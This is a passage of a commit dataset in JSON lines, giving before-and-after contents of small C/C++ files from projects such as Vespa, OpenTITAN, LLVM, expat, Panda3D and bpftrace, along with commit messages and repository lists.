homaseichinger\/RIOT,A-Paul\/RIOT,ant9000\/RIOT,smlng\/RIOT,neumodisch\/RIOT,biboc\/RIOT,ks156\/RIOT,LudwigOrtmann\/RIOT,dailab\/RIOT,jasonatran\/RIOT,TobiasFredersdorf\/RIOT,LudwigOrtmann\/RIOT,kaspar030\/RIOT,BytesGalore\/RIOT,jfischer-phytec-iot\/RIOT,aeneby\/RIOT,TobiasFredersdorf\/RIOT,yogo1212\/RIOT,kerneltask\/RIOT,x3ro\/RIOT,hamilton-mote\/RIOT-OS,kbumsik\/RIOT,beurdouche\/RIOT,neumodisch\/RIOT,roberthartung\/RIOT,miri64\/RIOT,gebart\/RIOT,immesys\/RiSyn,hamilton-mote\/RIOT-OS,dailab\/RIOT,kbumsik\/RIOT,neumodisch\/RIOT,biboc\/RIOT,aeneby\/RIOT,smlng\/RIOT,rfuentess\/RIOT,avmelnikoff\/RIOT,yogo1212\/RIOT,miri64\/RIOT,ant9000\/RIOT,kYc0o\/RIOT,mfrey\/RIOT,LudwigKnuepfer\/RIOT,Josar\/RIOT,kYc0o\/RIOT,mtausig\/RIOT,hamilton-mote\/RIOT-OS,yogo1212\/RIOT,mtausig\/RIOT,toonst\/RIOT,kaleb-himes\/RIOT,basilfx\/RIOT,jbeyerstedt\/RIOT-OTA-update,plushvoxel\/RIOT,Ell-i\/RIOT,avmelnikoff\/RIOT,jfischer-phytec-iot\/RIOT,OlegHahm\/RIOT,LudwigOrtmann\/RIOT,beurdouche\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,Hyungsin\/RIOT-OS,foss-for-synopsys-dwc-arc-processors\/RIOT,kaleb-himes\/RIOT,jasonatran\/RIOT,adrianghc\/RIOT,mfrey\/RIOT,dkm\/RIOT,kaleb-himes\/RIOT,kerneltask\/RIOT,A-Paul\/RIOT,thomaseichinger\/RIOT,jbeyerstedt\/RIOT-OTA-update,adjih\/RIOT,josephnoir\/RIOT,LudwigKnuepfer\/RIOT,Ell-i\/RIOT,cladmi\/RIOT,roberthartung\/RIOT,plushvoxel\/RIOT,kaspar030\/RIOT,kYc0o\/RIOT,neiljay\/RIOT,A-Paul\/RIOT,jbeyerstedt\/RIOT-OTA-update,jbeyerstedt\/RIOT-OTA-update,neumodisch\/RIOT,basilfx\/RIOT,mtausig\/RIOT,adrianghc\/RIOT,authmillenon\/RIOT,ks156\/RIOT,OlegHahm\/RIOT,adrianghc\/RIOT,immesys\/RiSyn,jfischer-phytec-iot\/RIOT,gautric\/RIOT,smlng\/RIOT,beurdouche\/RIOT,avmelnikoff\/RIOT,authmillenon\/RIOT,syin2\/RIOT,Josar\/RIOT,adrianghc\/RIOT,OlegHahm\/RIOT,josephnoir\/RIOT,biboc\/RIOT,kaleb-himes\/RIOT,cladmi\/RIOT,lazytech-org\/RIOT,neumodisch\/RIOT,jasonatran\/RIOT,smlng\/RIOT,avmelnikoff\/RIOT,A-Paul\/RIOT,yogo1212\/RIOT,kaleb-himes\/RIOT,aeneby\/RIOT,adjih\/RIOT,mfrey\/RIOT,toonst\/RIOT,kbumsik\/RIOT,neiljay\/RIOT,basilfx\/RIOT,dkm\/RIOT,TobiasFredersdorf\/RIOT,kYc0o\/RIOT,mfrey\/RIOT,immesys\/RiSyn,RIOT-OS\/RIOT,ant9000\/RIOT,ant9000\/RIOT,LudwigOrtmann\/RIOT,dkm\/RIOT,biboc\/RIOT,neiljay\/RIOT,foss-for-synopsys-dwc-arc-processors\/RIOT,kerneltask\/RIOT,immesys\/RiSyn,yogo1212\/RIOT,thomaseichinger\/RIOT,neiljay\/RIOT,biboc\/RIOT,dailab\/RIOT,kerneltask\/RIOT,miri64\/RIOT,thomaseichinger\/RIOT,authmillenon\/RIOT,OlegHahm\/RIOT,gebart\/RIOT,gebart\/RIOT,avmelnikoff\/RIOT,cladmi\/RIOT,RIOT-OS\/RIOT,lazytech-org\/RIOT,mtausig\/RIOT,cladmi\/RIOT,lazytech-org\/RIOT,cladmi\/RIOT,lazytech-org\/RIOT,roberthartung\/RIOT,dkm\/RIOT,OTAkeys\/RIOT,Josar\/RIOT,jfischer-phytec-iot\/RIOT,gautric\/RIOT,immesys\/RiSyn,smlng\/RIOT,toonst\/RIOT,kbumsik\/RIOT,basilfx\/RIOT,BytesGalore\/RIOT,authmillenon\/RIOT,gautric\/RIOT,BytesGalore\/RIOT,rfuentess\/RIOT,beurdouche\/RIOT,syin2\/RIOT,jbeyerstedt\/RIOT-OTA-update,ks156\/RIOT,ks156\/RIOT,josephnoir\/RIOT,OTAkeys\/RIOT,LudwigKnuepfer\/RIOT,TobiasFredersdorf\/RIOT,Hyungsin\/RIOT-OS,Hyungsin\/RIOT-OS,josephnoir\/RIOT,jasonatran\/RIOT,OTAkeys\/RIOT,neumodisch\/RIOT,josephnoir\/RIOT,dailab\/RIOT,LudwigOrtmann\/RIOT"}
{"commit":"7a276551f8349db28f32c36a68ab96c46c90517c","old_file":"storage\/src\/vespa\/storage\/common\/bucket_utils.h","new_file":"storage\/src\/vespa\/storage\/common\/bucket_utils.h","old_contents":"\/\/ Copyright Verizon Media. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <vespa\/document\/bucket\/bucketid.h>\n#include <vespa\/persistence\/spi\/bucket_limits.h>\n#include <cassert>\n\nnamespace storage {\n\n\/**\n * Returns the super bucket key of the given bucket id key based on the minimum used bits allowed.\n *\/\nuint64_t get_super_bucket_key(const document::BucketId& bucket_id) {\n    assert(bucket_id.getUsedBits() >= spi::BucketLimits::MinUsedBits);\n    \/\/ Since bucket keys have count-bits at the LSB positions, we want to look at the MSBs instead.\n    return (bucket_id.toKey() >> (64 - spi::BucketLimits::MinUsedBits));\n}\n\n}\n","new_contents":"\/\/ Copyright Verizon Media. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <vespa\/document\/bucket\/bucketid.h>\n#include <vespa\/persistence\/spi\/bucket_limits.h>\n#include <cassert>\n\nnamespace storage {\n\n\/**\n * Returns the super bucket key of the given bucket id key based on the minimum used bits allowed.\n *\/\ninline uint64_t get_super_bucket_key(const document::BucketId& bucket_id) noexcept {\n    assert(bucket_id.getUsedBits() >= spi::BucketLimits::MinUsedBits);\n    \/\/ Since bucket keys have count-bits at the LSB positions, we want to look at the MSBs instead.\n    return (bucket_id.toKey() >> (64 - spi::BucketLimits::MinUsedBits));\n}\n\n}\n","subject":"Make function inline and noexcept.","message":"Make function inline and noexcept.\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"62e0107e65fbdb86a13d1db04aca85a08caf3bd1","old_file":"keyphrase.c","new_file":"keyphrase.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include \"constants.h\"\n#include \"funcs.h\"\n\nint main(int argc, char **argv) {\n\n    if (argc != 2) {\n        return printf(\"usage: %s [hex key] [key phrase]\\n\", argv[0]);\n    }\n\n    char *wordlist[NUMWORDS];\n    FILE *fp = fopen(WORDFILE, \"r\");\n\n    if (!fp) {\n       printf(\"Could not find wordlist: '%s' is missing!\", WORDFILE); \n       return 1;\n    }\n\n    for(int i=0; i < NUMWORDS; i++) {\n        wordlist[i] = malloc(WORDLENGTH + 1);\n        fgets(wordlist[i], WORDLENGTH + 1, fp);\n        for (int j=strlen(wordlist[i])-1; j>=0 && (wordlist[i][j] == '\\n' || wordlist[i][j]=='\\r'); j--) {\n            wordlist[i][j]='\\0';\n        }\n    }\n\n    if (is_hex(argv[1])) {\n\n        char hex[normalized_hex_string_length(argv[1])];\n        normalize_hex_string(hex, argv[1]);\n\n        char phrase[max_phrase_length(hex)];\n        get_phrase(phrase, hex, wordlist);\n\n        printf(\"%s\\n\", phrase);\n\n        for (int i=0; i < NUMWORDS; i++) {\n            free(wordlist[i]);\n        }\n\n    } else {\n        printf(\"TBD\\n\");\n    }\n}\n","subject":"Implement the actual utility. Only does key to phrase conversion at the moment.","message":"Implement the actual utility. Only does key to phrase conversion at the moment.\n","lang":"C","license":"agpl-3.0","repos":"ryepdx\/keyphrase,ryepdx\/keyphrase"}
{"commit":"313196ef0ded860cceb381d139857f77132ad17e","old_file":"sw\/device\/lib\/runtime\/check.h","new_file":"sw\/device\/lib\/runtime\/check.h","old_contents":"","new_contents":"\/\/ Copyright lowRISC contributors.\n\/\/ Licensed under the Apache License, Version 2.0, see LICENSE for details.\n\/\/ SPDX-License-Identifier: Apache-2.0`\n\n#ifndef OPENTITAN_SW_DEVICE_LIB_RUNTIME_CHECK_H_\n#define OPENTITAN_SW_DEVICE_LIB_RUNTIME_CHECK_H_\n\n#include <stdbool.h>\n\n#include \"sw\/device\/lib\/base\/log.h\"\n#include \"sw\/device\/lib\/runtime\/abort.h\"\n\n\/**\n * Runtime assertion macros with log.h integration.\n *\/\n\n\/**\n * Checks that the given condition is true. If the condition is false, this\n * function logs and then aborts.\n *\n * @param condition an expression to check.\n * @param ... arguments to a LOG_* macro, which are evaluated if the check\n * fails.\n *\/\n#define CHECK(condition, ...)                \\\n  do {                                       \\\n    if (!(condition)) {                      \\\n      LOG_ERROR(\"CHECK-fail: \" __VA_ARGS__); \\\n      abort();                               \\\n    }                                        \\\n  } while (false)\n\n\/**\n * Shorthand for CHECK(value == 0).\n *\n * @param condition a value to check.\n * @param ... arguments to a LOG_* macro, which are evaluated if the check\n * fails.\n *\/\n#define CHECKZ(value, ...) CHECK((value) == 0, ...)\n\n#endif  \/\/ OPENTITAN_SW_DEVICE_LIB_RUNTIME_CHECK_H_\n","subject":"Add a library to provide CHECK and friends.","message":"[sw] Add a library to provide CHECK and friends.\n\nSigned-off-by: Miguel Young de la Sota <71b8e7f4945fd97b98544cf897992af89646547a@google.com>\n","lang":"C","license":"apache-2.0","repos":"lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan,lowRISC\/opentitan"}
{"commit":"9bdcb393aedcd718b49926663bbcd22229af7090","old_file":"test\/CFrontend\/2007-11-27-SExtZExt.c","new_file":"test\/CFrontend\/2007-11-27-SExtZExt.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc -S %s -emit-llvm -o - | grep \"signext\" | count 4\n\nsigned char foo1() { return 1; }\n\nvoid foo2(signed short a) { }\n\nsigned char foo3(void) { return 1; }\n\nvoid foo4(a) signed short a; { }\n\n\n\n","subject":"Add testcase for last llvm-gcc tweaks","message":"Add testcase for last llvm-gcc tweaks\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@44368 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap"}
{"commit":"ea0ceed76722247d83ec5ec1e6ae4b65a83a96b1","old_file":"tests\/chardata.h","new_file":"tests\/chardata.h","old_contents":"\/*  chardata.h\n *\n *\n *\/\n\n#ifndef XML_CHARDATA_H\n#define XML_CHARDATA_H 1\n\n#ifndef XML_VERSION\n#include \"expat.h\"                      \/* need XML_Char *\/\n#endif\n\n\ntypedef struct {\n    int count;                          \/* # of chars, < 0 if not set *\/\n    XML_Char data[1024];\n} CharData;\n\n\nvoid CharData_Init(CharData *storage);\n\nvoid CharData_AppendString(CharData *storage, const char *s);\n\nvoid CharData_AppendXMLChars(CharData *storage, const XML_Char *s, int len);\n\nint CharData_CheckString(CharData *storage, const char *s);\n\nint CharData_CheckXMLChars(CharData *storage, const XML_Char *s);\n\n\n#endif  \/* XML_CHARDATA_H *\/\n","new_contents":"\/* chardata.h\n\n   Interface to some helper routines used to accumulate and check text\n   and attribute content.\n*\/\n\n#ifndef XML_CHARDATA_H\n#define XML_CHARDATA_H 1\n\n#ifndef XML_VERSION\n#include \"expat.h\"                      \/* need XML_Char *\/\n#endif\n\n\ntypedef struct {\n    int count;                          \/* # of chars, < 0 if not set *\/\n    XML_Char data[1024];\n} CharData;\n\n\nvoid CharData_Init(CharData *storage);\n\nvoid CharData_AppendString(CharData *storage, const char *s);\n\nvoid CharData_AppendXMLChars(CharData *storage, const XML_Char *s, int len);\n\nint CharData_CheckString(CharData *storage, const char *s);\n\nint CharData_CheckXMLChars(CharData *storage, const XML_Char *s);\n\n\n#endif  \/* XML_CHARDATA_H *\/\n","subject":"Add a small comment to tell what this is.","message":"Add a small comment to tell what this is.\n","lang":"C","license":"mit","repos":"cgwalters\/expat-git-mirror,cgwalters\/expat-git-mirror,cgwalters\/expat-git-mirror"}
{"commit":"3f987b530fb7c6ef773d382bfa25e02064405f19","old_file":"direct\/src\/plugin\/p3dReferenceCount.h","new_file":"direct\/src\/plugin\/p3dReferenceCount.h","old_contents":"\/\/ Filename: p3dReferenceCount.h\n\/\/ Created by:  drose (09Jul09)\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ PANDA 3D SOFTWARE\n\/\/ Copyright (c) Carnegie Mellon University.  All rights reserved.\n\/\/\n\/\/ All use of this software is subject to the terms of the revised BSD\n\/\/ license.  You should have received a copy of this license along\n\/\/ with this source code in a file named \"LICENSE.\"\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef P3DREFERENCECOUNT_H\n#define P3DREFERENCECOUNT_H\n\n#include \"p3d_plugin_common.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/       Class : P3DReferenceCount\n\/\/ Description : A base class for reference-counted objects in this\n\/\/               module.  We follow the Panda convention, rather than\n\/\/               the Pythong convention: the reference count of a new\n\/\/               object is initially 0.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nclass P3DReferenceCount {\npublic:\n  inline P3DReferenceCount();\n  inline ~P3DReferenceCount();\n\n  inline void ref() const;\n  inline bool unref() const;\n\nprivate:\n  int _ref_count;\n};\n\ntemplate<class RefCountType>\ninline void unref_delete(RefCountType *ptr);\n\n#include \"p3dReferenceCount.I\"\n\n#endif\n","new_contents":"\/\/ Filename: p3dReferenceCount.h\n\/\/ Created by:  drose (09Jul09)\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ PANDA 3D SOFTWARE\n\/\/ Copyright (c) Carnegie Mellon University.  All rights reserved.\n\/\/\n\/\/ All use of this software is subject to the terms of the revised BSD\n\/\/ license.  You should have received a copy of this license along\n\/\/ with this source code in a file named \"LICENSE.\"\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef P3DREFERENCECOUNT_H\n#define P3DREFERENCECOUNT_H\n\n#include \"p3d_plugin_common.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/       Class : P3DReferenceCount\n\/\/ Description : A base class for reference-counted objects in this\n\/\/               module.  We follow the Panda convention, rather than\n\/\/               the Python convention: the reference count of a new\n\/\/               object is initially 0.\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nclass P3DReferenceCount {\npublic:\n  inline P3DReferenceCount();\n  inline ~P3DReferenceCount();\n\n  inline void ref() const;\n  inline bool unref() const;\n\nprivate:\n  int _ref_count;\n};\n\ntemplate<class RefCountType>\ninline void unref_delete(RefCountType *ptr);\n\n#include \"p3dReferenceCount.I\"\n\n#endif\n","subject":"Fix typo: \"Pythong\" -> \"Python\" ;-)","message":"Fix typo: \"Pythong\" -> \"Python\" ;-)\n","lang":"C","license":"bsd-3-clause","repos":"brakhane\/panda3d,hj3938\/panda3d,ee08b397\/panda3d,tobspr\/panda3d,tobspr\/panda3d,jjkoletar\/panda3d,jjkoletar\/panda3d,tobspr\/panda3d,Wilee999\/panda3d,hj3938\/panda3d,Wilee999\/panda3d,cc272309126\/panda3d,brakhane\/panda3d,cc272309126\/panda3d,hj3938\/panda3d,matthiascy\/panda3d,cc272309126\/panda3d,jjkoletar\/panda3d,hj3938\/panda3d,ee08b397\/panda3d,Wilee999\/panda3d,mgracer48\/panda3d,grimfang\/panda3d,mgracer48\/panda3d,ee08b397\/panda3d,brakhane\/panda3d,cc272309126\/panda3d,chandler14362\/panda3d,Wilee999\/panda3d,ee08b397\/panda3d,chandler14362\/panda3d,hj3938\/panda3d,grimfang\/panda3d,jjkoletar\/panda3d,chandler14362\/panda3d,tobspr\/panda3d,grimfang\/panda3d,tobspr\/panda3d,grimfang\/panda3d,tobspr\/panda3d,grimfang\/panda3d,ee08b397\/panda3d,grimfang\/panda3d,mgracer48\/panda3d,ee08b397\/panda3d,mgracer48\/panda3d,mgracer48\/panda3d,matthiascy\/panda3d,mgracer48\/panda3d,tobspr\/panda3d,jjkoletar\/panda3d,matthiascy\/panda3d,mgracer48\/panda3d,cc272309126\/panda3d,brakhane\/panda3d,brakhane\/panda3d,matthiascy\/panda3d,chandler14362\/panda3d,cc272309126\/panda3d,grimfang\/panda3d,jjkoletar\/panda3d,tobspr\/panda3d,grimfang\/panda3d,Wilee999\/panda3d,tobspr\/panda3d,matthiascy\/panda3d,tobspr\/panda3d,mgracer48\/panda3d,grimfang\/panda3d,cc272309126\/panda3d,chandler14362\/panda3d,matthiascy\/panda3d,matthiascy\/panda3d,hj3938\/panda3d,Wilee999\/panda3d,ee08b397\/panda3d,brakhane\/panda3d,mgracer48\/panda3d,chandler14362\/panda3d,grimfang\/panda3d,hj3938\/panda3d,chandler14362\/panda3d,jjkoletar\/panda3d,Wilee999\/panda3d,matthiascy\/panda3d,brakhane\/panda3d,Wilee999\/panda3d,cc272309126\/panda3d,jjkoletar\/panda3d,chandler14362\/panda3d,hj3938\/panda3d,jjkoletar\/panda3d,ee08b397\/panda3d,ee08b397\/panda3d,cc272309126\/panda3d,Wilee999\/panda3d,matthiascy\/panda3d,chandler14362\/panda3d,brakhane\/panda3d,hj3938\/panda3d,chandler14362\/panda3d,brakhane\/panda3d"}
{"commit":"253ce6fd38f982fae6b0cf7f7bc4bf6fa36b8e9f","old_file":"src\/ast\/node_counter.h","new_file":"src\/ast\/node_counter.h","old_contents":"#pragma once\n#include \"bpftrace.h\"\n#include \"log.h\"\n#include \"pass_manager.h\"\n#include \"visitors.h\"\n\nnamespace bpftrace {\nnamespace ast {\n\nclass NodeCounter : public Visitor\n{\npublic:\n  void Visit(Node &node)\n  {\n    count_++;\n    Visitor::Visit(node);\n  }\n\n  size_t get_count()\n  {\n    return count_;\n  };\n\nprivate:\n  size_t count_ = 0;\n};\n\nPass CreateCounterPass()\n{\n  auto fn = [](Node &n, PassContext &ctx) {\n    NodeCounter c;\n    c.Visit(n);\n    auto node_count = c.get_count();\n    auto max = ctx.b.ast_max_nodes_;\n    if (bt_verbose)\n    {\n      LOG(INFO) << \"node count: \" << max;\n    }\n    if (node_count >= max)\n    {\n      LOG(ERROR) << \"node count (\" << node_count << \") exceeds the limit (\"\n                 << max << \")\";\n      return PassResult::Error(\"node count exceeded\");\n    }\n    return PassResult::Success();\n  };\n  return Pass(\"NodeCounter\", fn);\n}\n\n} \/\/ namespace ast\n} \/\/ namespace bpftrace\n","new_contents":"#pragma once\n#include \"bpftrace.h\"\n#include \"log.h\"\n#include \"pass_manager.h\"\n#include \"visitors.h\"\n\nnamespace bpftrace {\nnamespace ast {\n\nclass NodeCounter : public Visitor\n{\npublic:\n  void Visit(Node &node)\n  {\n    count_++;\n    Visitor::Visit(node);\n  }\n\n  size_t get_count()\n  {\n    return count_;\n  };\n\nprivate:\n  size_t count_ = 0;\n};\n\nPass CreateCounterPass()\n{\n  auto fn = [](Node &n, PassContext &ctx) {\n    NodeCounter c;\n    c.Visit(n);\n    auto node_count = c.get_count();\n    auto max = ctx.b.ast_max_nodes_;\n    if (bt_verbose)\n    {\n      LOG(INFO) << \"node count: \" << node_count;\n    }\n    if (node_count >= max)\n    {\n      LOG(ERROR) << \"node count (\" << node_count << \") exceeds the limit (\"\n                 << max << \")\";\n      return PassResult::Error(\"node count exceeded\");\n    }\n    return PassResult::Success();\n  };\n  return Pass(\"NodeCounter\", fn);\n}\n\n} \/\/ namespace ast\n} \/\/ namespace bpftrace\n","subject":"Fix printing bug in node-counter pass","message":"Fix printing bug in node-counter pass\n","lang":"C","license":"apache-2.0","repos":"iovisor\/bpftrace,iovisor\/bpftrace,iovisor\/bpftrace,iovisor\/bpftrace"}
{"commit":"b4f4ec34d4632864e9b5738d2b47c272d22dd6e7","old_file":"You-Controller-Tests\/exclusions.h","new_file":"You-Controller-Tests\/exclusions.h","old_contents":"#pragma once\n#ifndef YOU_CONTROLLER_TESTS_EXCLUSIONS_H_\n#define YOU_CONTROLLER_TESTS_EXCLUSIONS_H_\n\n\/\/ A local define since there is no way to test whether a header file exists.\n\/\/ If you have VS Premium, then add it to the project definition (user\n\/\/ properties) file\n#ifdef MS_CPP_CODECOVERAGE\n\n\/\/\/ \\file Exclusions from code coverage analysis.\n\/\/\/ See http:\/\/msdn.microsoft.com\/en-sg\/library\/dd537628.aspx\n\n#include <CodeCoverage\/CodeCoverage.h>\n#pragma managed(push, off)\n\nExcludeFromCodeCoverage(boost, L\"boost::*\");\nExcludeFromCodeCoverage(boost_meta, L\"??@*@\");\nExcludeFromCodeCoverage(You_NLP, L\"You::NLP::*\");\nExcludeFromCodeCoverage(You_QueryEngine, L\"You::QueryEngine::*\");\nExcludeFromCodeCoverage(You_Utils, L\"You::Utils::*\");\n\n#pragma managed(pop)\n\n#endif  \/\/ MS_CPP_CODECOVERAGE\n\n#endif  \/\/ YOU_CONTROLLER_TESTS_EXCLUSIONS_H_\n","new_contents":"#pragma once\n#ifndef YOU_CONTROLLER_TESTS_EXCLUSIONS_H_\n#define YOU_CONTROLLER_TESTS_EXCLUSIONS_H_\n\n\/\/ A local define since there is no way to test whether a header file exists.\n\/\/ If you have VS Premium, then add it to the project definition (user\n\/\/ properties) file\n#ifdef MS_CPP_CODECOVERAGE\n\n\/\/\/ \\file Exclusions from code coverage analysis.\n\/\/\/ See http:\/\/msdn.microsoft.com\/en-sg\/library\/dd537628.aspx\n\n#include <CodeCoverage\/CodeCoverage.h>\n#pragma managed(push, off)\n\nExcludeFromCodeCoverage(boost, L\"boost::*\");\nExcludeFromCodeCoverage(boost_meta, L\"??@*@\");\nExcludeFromCodeCoverage(You_NLP, L\"You::NLP::*\");\nExcludeFromCodeCoverage(You_QueryEngine, L\"You::QueryEngine::*\");\nExcludeFromCodeCoverage(You_DataStore, L\"You::DataStore::*\");\nExcludeFromCodeCoverage(You_Utils, L\"You::Utils::*\");\n\n#pragma managed(pop)\n\n#endif  \/\/ MS_CPP_CODECOVERAGE\n\n#endif  \/\/ YOU_CONTROLLER_TESTS_EXCLUSIONS_H_\n","subject":"Exclude data store from controller code coverage.","message":"Exclude data store from controller code coverage.\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"fcb446e33c75960e3db85f718b77e4bb8db996d0","old_file":"include\/libhdhomerun.h","new_file":"include\/libhdhomerun.h","old_contents":"","new_contents":"\/\/ Wrapper to prevent multiple imports\n#ifndef LIBHDHOMERUN_H\n#define LIBHDHOMERUN_H\n\n#import \"hdhomerun_os.h\"\n#import \"hdhomerun_discover.h\"\n#import \"hdhomerun_pkt.h\"\n\n#endif\n ","subject":"Add wrapper to stop reinclude of library headers","message":"Add wrapper to stop reinclude of library headers\n","lang":"C","license":"mit","repos":"robbieduncan\/hdpirun,robbieduncan\/hdpirun"}
{"commit":"ff862f1dea771feb087f9eade8534efa67f106f9","old_file":"SDLWrapper\/__Plugin.h","new_file":"SDLWrapper\/__Plugin.h","old_contents":"#pragma once\n#include \"begin_code.h\"\nnamespace _internal\n{\n\n\/\/\/ This is just an empty class.\n\/\/\/ Most wrapper class regard this class as a friend class.\n\/\/\/ You can get\/set raw pointers through this class.\nclass Plugin\n{\npublic:\n    template<typename T>\n    decltype(auto) get(const T& obj)\n    {\n        return obj._get();\n    }\n    template<typename T,typename U>\n    void set(T& obj,U&& value)\n    {\n        obj._set(value);\n    }\n    template<typename T>\n    void clear(T& obj)\n    {\n        obj._clear();\n    }\n\n    template<typename T,typename U>\n    void set_no_delete(T& obj,U&& value)\n    {\n        obj._set_no_delete(value);\n    }\n};\n\n}\n#include \"end_code.h\"\n","new_contents":"#pragma once\n#include \"begin_code.h\"\nnamespace _internal\n{\n\n\/\/\/ This is just an empty class.\n\/\/\/ Most wrapper class regard this class as a friend class.\n\/\/\/ You can get\/set raw pointers through this class.\nclass Plugin\n{\npublic:\n    template<typename T>\n    static decltype(auto) get(const T& obj)\n    {\n        return obj._get();\n    }\n    template<typename T,typename U>\n    static void set(T& obj,U&& value)\n    {\n        obj._set(value);\n    }\n    template<typename T>\n    static void clear(T& obj)\n    {\n        obj._clear();\n    }\n\n    template<typename T,typename U>\n    static void set_no_delete(T& obj,U&& value)\n    {\n        obj._set_no_delete(value);\n    }\n};\n\n}\n#include \"end_code.h\"\n","subject":"Change Plugin methods to static","message":"Change Plugin methods to static\n","lang":"C","license":"mit","repos":"Kiritow\/MiniEngine,Kiritow\/MiniEngine"}
{"commit":"7c9ca7333acca5dab1e01fa282758038cf62b843","old_file":"tools\/cgfx2json\/stdafx.h","new_file":"tools\/cgfx2json\/stdafx.h","old_contents":"\/\/ Copyright (c) 2009-2011 Turbulenz Limited\n\n\/\/ stdafx.h : include file for standard system include files,\n\/\/ or project specific include files that are used frequently, but\n\/\/ are changed infrequently\n\/\/\n\n#ifdef _MSC_VER\n#pragma once\n#endif\n\n#ifndef _WIN32_WINNT\t\t\/\/ Allow use of features specific to Windows XP or later.\n#define _WIN32_WINNT 0x0501\t\/\/ Change this to the appropriate value to target other versions of Windows.\n#endif\n\n#ifndef WIN32_LEAN_AND_MEAN\n#define WIN32_LEAN_AND_MEAN\n#endif\n\n#ifndef _USE_MATH_DEFINES\n#define _USE_MATH_DEFINES\n#endif\n\n#ifndef BOOST_DISABLE_THREADS\n#define BOOST_DISABLE_THREADS\n#endif\n\n#include <boost\/xpressive\/xpressive.hpp>\n#include <stdio.h>\n#include <math.h>\n#include <float.h>\n#include <limits.h>\n#include <string.h>\n#include <stdlib.h>\n#include <string>\n#include <list>\n#include <map>\n#include <set>\n\n#include <Cg\/cg.h>\n#include <Cg\/cgGL.h>\n","new_contents":"\/\/ Copyright (c) 2009-2011 Turbulenz Limited\n\n\/\/ stdafx.h : include file for standard system include files,\n\/\/ or project specific include files that are used frequently, but\n\/\/ are changed infrequently\n\/\/\n\n#ifdef _MSC_VER\n#pragma once\n#endif\n\n#ifndef _WIN32_WINNT\t\t\/\/ Allow use of features specific to Windows XP or later.\n#define _WIN32_WINNT 0x0501\t\/\/ Change this to the appropriate value to target other versions of Windows.\n#endif\n\n#ifndef WIN32_LEAN_AND_MEAN\n#define WIN32_LEAN_AND_MEAN\n#endif\n\n#ifndef _USE_MATH_DEFINES\n#define _USE_MATH_DEFINES\n#endif\n\n#ifndef BOOST_DISABLE_THREADS\n#define 